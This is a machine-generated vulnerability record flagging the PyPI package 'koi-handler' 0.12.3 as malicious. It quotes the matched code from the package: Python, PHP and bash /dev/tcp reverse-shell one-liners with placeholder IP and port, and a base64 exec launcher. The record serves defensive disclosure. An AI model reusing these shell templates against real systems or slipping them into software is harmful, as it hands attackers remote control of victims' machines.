{"dataType":"CVE_RECORD","dataVersion":"1.0","cveMetadata":{"cveId":"GCVE-110-PYPI-2026-022228","assignerOrgId":"","assignerShortName":"Vulnetix","state":"PUBLISHED","datePublished":"2026-11-02T14:20:06Z","dateUpdated":"2026-11-02T14:20:06Z","dateReserved":""},"containers":{"cna":{"providerMetadata":null,"title":"","descriptions":[{"lang":"en","value":"The PyPI package `koi-handler` (version 0.12.3) was flagged as malicious by automated package analysis (5 corroborating detection(s)). Installing it may execute attacker-controlled code via setup.py or bundled Python sources. Verdict path: evidence — for ownership-only paths (owner-known-bad / multi-identity) the change of ownership is a compounding indicator the engine correlated with other signals, not standalone proof. This verdict is produced by static analysis and is subject to human review.","supportingMedia":null},{"lang":"en","value":"[P-REVSHELL-DEVTCP] Bash reverse shell via /dev/tcp — matched: result = self.exec(f\"cat \u003c /dev/tcp/{local_ip}/{port} \u003e {quoted}\", timeout=timeout)","supportingMedia":null},{"lang":"en","value":"[P-REVSHELL-PYTHON] Python reverse shell pattern — matched: \"python3\":            f'python3 -c \\'import os,pty,socket;s=socket.socket();s.connect((\"{ip}\",{port}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"/bin/bash\")\\'',","supportingMedia":null},{"lang":"en","value":"[P-PYTHON-EXEC-COMPOUND] Python one-liner with exec() (obfuscated code execution) — matched: return f\"nohup python3 -c \\\"import base64;exec(base64.b64decode('{encoded}'))\\\" \u003e/dev/null 2\u003e\u00261 \u0026\\n\"","supportingMedia":null},{"lang":"en","value":"[P-REVSHELL-PHP] PHP reverse shell (fsockopen/socket_connect) — matched: \"php\":                f'php -r \\'$sock=fsockopen(\"{ip}\",{port});exec(\"/bin/bash -i \u003c\u00263 \u003e\u00263 2\u003e\u00263\");\\'',","supportingMedia":null},{"lang":"en","value":"[P-PY-EXEC-DECODE] exec/eval of a decoded/decompressed payload (dynamic code execution) — matched: return f\"nohup python3 -c \\\"import base64;exec(base64.b64decode('{encoded}'))\\\" \u003e/dev/null 2\u003e\u00261 \u0026\\n\"","supportingMedia":null}],"references":[{"url":"https://pypi.org/project/koi-handler/","name":"","tags":["advisory"]}],"metrics":null,"problemTypes":[{"descriptions":[{"lang":"en","description":"Embedded Malicious Code","cweId":"CWE-506","type":"CWE"}]},{"descriptions":[{"lang":"en","description":"Improper Control of Generation of Code ('Code Injection')","cweId":"CWE-94","type":"CWE"}]}],"affected":[{"vendor":"pypi","product":"koi-handler","collectionURL":"https://pypi.org","packageName":"koi-handler","repo":"","defaultStatus":"","versions":[{"version":"0.12.3","status":"affected","versionType":"","lessThan":"","lessThanOrEqual":"","changes":null}],"cpes":null,"modules":null,"programFiles":null,"platforms":null}],"cpeApplicability":null,"rejectedReasons":null,"replacedBy":null},"adp":null}}